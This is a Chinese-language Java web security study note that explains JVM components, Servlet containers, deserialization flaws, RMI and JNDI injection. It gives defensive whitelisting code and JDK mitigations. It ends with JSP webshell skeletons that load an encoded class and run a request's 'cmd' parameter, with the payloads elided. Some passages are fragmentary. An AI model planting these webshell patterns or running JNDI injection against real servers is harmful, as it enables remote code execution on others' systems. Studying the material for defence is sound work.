JVM是Java平台的核心,以机器代码来实现,为程序执行提供了所需的所有基本功能,例如字节码解析器、JIT编译器、垃圾收集器等。由于它是机器代码实现的,其同样受到二进制文件受到的攻击。
JCL是JVM自带的一个标准库,含有数百个系统类。默认情况下,所有系统类都是可信任的,且拥有所有的特权。
Java开发工具包(Java Development Kit,JDK)是Oracle公司发布的Java平台,有标准版(Standard Edition,Java SE)、企业版(Enterprise Edition,Java EE)等版本。
在最开始,JDK以二进制形式发布,而后在2006年11月17日,Sun以GPL许可证发布了Java的源代码,于是之后出现了OpenJDK。
JMX(Java Management Extensions,Java管理扩展)是一个为应用程序植入管理功能的框架。
OGNL(Object-Graph Navigation Language,对象导航语言)是一种功能强大的表达式语言,通过简单一致的表达式语法,提供了存取对象的任意属性、调用对象的方法、遍历整个对象的结构图、实现字段类型转化等功能。
Struts2中使用了OGNL,提供了一个ValueStack类。ValueStack分为root和context两部分。root中是当前的action对象,context中是ActionContext里面所有的内容。
Java 对操作系统的各种 IO 模型进行了封装,形成了不同的API。
BIO (Blocking I/O) 是同步阻塞I/O模式,数据的读取写入必须阻塞在一个线程内等待其完成。
NIO (New I/O) 是一种同步非阻塞的I/O模型,在Java 1.4中引入,对应 java.nio 包,提供了 Channel , Selector,Buffer等抽象。
AIO (Asynchronous I/O) 在 Java 7 中引入,是NIO的改进版,是异步非阻塞的IO模型,基于事件和回调机制实现。
Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,是用Java编写的服务器端程序,主要功能在于交互式地浏览和修改数据,生成动态Web内容。
狭义的Servlet是指Java语言实现的一个接口,广义的Servlet是指任何实现了这个Servlet接口的类,一般情况下,人们将Servlet理解为后者。Servlet运行于支持Java的应用服务器中。从原理上讲,Servlet可以响应任何类型的请求,但绝大多数情况下Servlet只用来扩展基于HTTP协议的Web服务器。
doGet()
/ doPost()
/ … / destroy()
init()
在 Servlet 的生命期中,仅执行一次 init() 方法,在服务器装入 Servlet 时执行。
service()
service() 方法是 Servlet 的核心。每当一个客户请求一个HttpServlet对象,该对象的 service()
方法就要被调用,而且传递给这个方法一个"请求"(ServletRequest)对象和一个"响应"(ServletResponse)对象作为参数。
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Spring一般指的是Spring Framework,一个轻量级Java应用程序开源框架,提供了简易的开发方式。
Spring MVC根据Spring的模式设计的MVC框架,主要用于开发Web应用,简化开发。
Spring在推出之初方案较为繁琐,因此提供了Spring Boot作为自动化配置工具,降低项目搭建的复杂度。
常见的Java服务器有Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere等,这里对部分框架做一个简单的说明。
Tomcat是一个轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,用于开发和调试JSP程序。
在收到请求后,Tomcat的处理流程如下:
Tomcat服务器是由一系列可配置的组件构成的,其中核心组件是Catalina Servlet容器,它是所有其他Tomcat组件的顶层容器。
WebLogic是美国Oracle公司出品的一个Application Server,是一个基于Java EE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。其将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic对业内多种标准的全面支持,包括EJB、JSP、Servlet、JMS、JDBC等。
JBoss是一个基于J2EE的管理EJB的容器和服务器,但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
/invoker/readonly
,页面存在即有反序列化漏洞Jetty是一个开源的servlet容器。
Java实现了一套沙箱环境,使远程的非可信代码只能在受限的环境下执行。
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。一般用于远程调用、通过网络将对象传输至远程服务器、存储对象到数据库或本地等待重用等场景中。Java中的 ObjectOutputStream
类的writeObject()
方法可以实现序列化,类ObjectInputStream
类的readObject()
方法用于反序列化。如果要实现类的反序列化,则是对其实现 Serializable
接口。
当远程服务接受不可信的数据并进行反序列化且当前环境中存在可利用的类时,就认为存在反序列化漏洞。
0xaced
魔术头commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
在使用 readObject()
反序列化时会调用 resolveClass
方法读取反序列化的类名,可以通过hook该方法来校验反序列化的类,一个Demo如下
@Override
protected Class> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(SerialObject.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
以上的Demo就只允许序列化 SerialObject
,通过这种方式,就可以设置允许序列化的白名单,来防止反序列化漏洞被利用。SerialKiller/Jackson/Weblogic等都使用了这种方式来防御。
Apache Commons IO Serialization包中的 ValidatingObjectInputStream
类提供了accept
方法,可以通过该方法来实现反序列化类白/黑名单控制,一个demo如下
private static Object deserialize(byte[] buffer) throws IOException, ClassNotFoundException , ConfigurationException {
Object obj;
ByteArrayInputStream bais = new ByteArrayInputStream(buffer);
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais);
ois.accept(SerialObject.class);
obj = ois.readObject();
return obj;
}
Java 9提供了支持序列化数据过滤的新特性,可以继承 java.io.ObjectInputFilter
类重写checkInput
方法来实现自定义的过滤器,并使用 ObjectInputStream
对象的 setObjectInputFilter
设置过滤器来实现反序列化类白/黑名单控制。这个机制本身是针对Java 9的一个新特性,但是随后官方突然决定向下引进该增强机制,分别对JDK 6,7,8进行了支持。这个机制主要描述了如下的机制:
RMI(Remote Method Invocation,远程方法调用)能够让在客户端Java虚拟机上的对象像调用本地对象一样调用服务端Java虚拟机中的对象上的方法。其中RMI标准实现是Java RMI,之外还有Weblogic RMI、Spring RMI等不同的实现。
RMI中比较重要的两个概念是Stub和Skeleton,Stub和Skeleton对同一套接口进行实现,其中Stub由Client端调用,并不进行真正的实现,而是和Server端通信。Skeleton是Server端,监听来自Stub的连接,根据Stub发送的数据进行真正的操作。
一份代码样例如下(来自《Enterprise JavaBeans》):
public interface Person {
public int getAge() throws Throwable;
public String getName() throws Throwable;
}
public class PersonServer implements Person {
private int age;
private String name;
public PersonServer(String name, int age) {
this.age = age;
this.name = name;
}
public int getAge() {
return age;
}
public String getName() {
return name;
}
}
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.net.Socket;
public class Person_Stub implements Person {
private Socket socket;
public Person_Stub() throws Throwable {
// connect to skeleton
socket = new Socket("computer_name", 9000);
}
public int getAge() throws Throwable {
// pass method name to skeleton
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
outStream.writeObject("age");
outStream.flush();
ObjectInputStream inStream =
new ObjectInputStream(socket.getInputStream());
return inStream.readInt();
}
public String getName() throws Throwable {
// pass method name to skeleton
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
outStream.writeObject("name");
outStream.flush();
ObjectInputStream inStream =
new ObjectInputStream(socket.getInputStream());
return (String)inStream.readObject();
}
}
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.net.Socket;
import java.net.ServerSocket;
public class Person_Skeleton extends Thread {
private PersonServer myServer;
public Person_Skeleton(PersonServer server) {
// get reference of object server
this.myServer = server;
}
public void run() {
try {
// new socket at port 9000
ServerSocket serverSocket = new ServerSocket(9000);
// accept stub's request
Socket socket = serverSocket.accept();
while (socket != null) {
// get stub's request
ObjectInputStream inStream =
new ObjectInputStream(socket.getInputStream());
String method = (String)inStream.readObject();
// check method name
if (method.equals("age")) {
// execute object server's business method
int age = myServer.getAge();
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
// return result to stub
outStream.writeInt(age);
outStream.flush();
}
if(method.equals("name")) {
// execute object server's business method
String name = myServer.getName();
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
// return result to stub
outStream.writeObject(name);
outStream.flush();
}
}
} catch(Throwable t) {
t.printStackTrace();
System.exit(0);
}
}
public static void main(String args []) {
// new object server
PersonServer person = new PersonServer("Richard", 34);
Person_Skeleton skel = new Person_Skeleton(person);
skel.start();
}
}
public class PersonClient {
public static void main(String [] args) {
try {
Person person = new Person_Stub();
int age = person.getAge();
String name = person.getName();
System.out.println(name + " is " + age + " years old");
} catch(Throwable t) {
t.printStackTrace();
}
}
}
T3协议是用于在WebLogic服务器和其他类型的Java程序之间传输信息的协议,是Weblogic对RMI规范的实现。简单来说,可以把T3视为暴露JDNI给用户调用的接口。
Java远程方法协议(Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议。
JRMP是一个Java特有的、适用于Java之间远程调用的基于流的协议,要求客户端和服务器上都使用Java对象。
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中,例如RMI、CORBA、LDAP、DNS等。
其中Naming Service类似于哈希表的K/V对,通过名称去获取对应的服务。Directory Service是一种特殊的Naming Service,用类似目录的方式来存取服务。
JNDI注入是2016年由pentester在BlackHat USA上的 A Journey From JNDI LDAP Manipulation To RCE
议题提出的。
其攻击过程如下
1、攻击者将Payload绑定到攻击者的命名/目录服务中
2、攻击者将绝对URL注入易受攻击的JNDI查找方法
3、应用程序执行查找
4、应用程序连接到攻击者控制的JNDI服务并返回Payload
5、应用程序解码响应并触发有效负载
JDNI主要有几种攻击载荷:
攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,将编译后的RMI远程对象类放在HTTP/FTP/SMB等服务器上。其中Codebase地址由远程服务器的 java.rmi.server.codebase
属性设置,供受害者的RMI客户端远程加载。
利用条件如下:
其中JDK 6u45、7u21后,java.rmi.server.useCodebaseOnly
的值默认为true。
攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去攻击者指定的远程地址加载Factory类。这种方式原理上并非使用RMI Class Loading机制,因此不受java.rmi.server.useCodebaseOnly
系统属性的限制。但是在JDK 6u132, JDK 7u122, JDK 8u113 后限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase
、 com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
Java的LDAP可以在属性值中存储特定的Java对象,且LDAP服务的Reference远程加载Factory类不受 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的限制,适用范围更广。
com.sun.jndi.rmi.object.trustURLCodebase
默认为falsecom.sun.jndi.cosnaming.object.trustURLCodebase
默认为falsejava.io.File
类中添加了isInvalid
方法,检测文件名中是否包含空字节com.sun.jndi.rmi.object.trustURLCodebase
默认为falsecom.sun.jndi.cosnaming.object.trustURLCodebase
默认为falsesun.net.www.protocol
不再支持gopher协议com.sun.jndi.rmi.object.trustURLCodebase
默认为falsecom.sun.jndi.cosnaming.object.trustURLCodebase
默认为falseObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
以下的魔术方法都会在反序列化过程中被自动的调用。
readObject
readExternal
readResolve
readObjectNoData
validateObject
finalize
主流的JSON库有Gson、Jackson、Fastjson等,因为JSON常在反序列化中使用,所以相关库都有较大的影响。
其中Gson默认只能反序列化基本类型,如果是复杂类型,需要程序员实现反序列化机制,相对比较安全。
Jackson除非指明@jsonAutoDetect,Jackson不会反序列化非public属性。在防御时,可以不使用enableDefaultTyping方法。相关CVE有CVE-2017-7525、CVE-2017-15095。
FastJson是阿里巴巴的开源JSON解析库,支持将Java Bean序列化为JSON字符串,也支持从JSON字符串反序列化到Java Bean,相关CVE有CVE-2017-18349等。
FastJson常见的Sink点有:
JSON.toJSONString
JSON.parseObject
JSON.parse
String bcelCode = "...";
response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString()).getBytes());
response.getOutputStream().write(new ClassLoader() {
@Override
public Class> loadClass(String name) throws ClassNotFoundException {
if (name.contains("shell")) {
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("...");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
}.loadClass("shell").getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes());
%>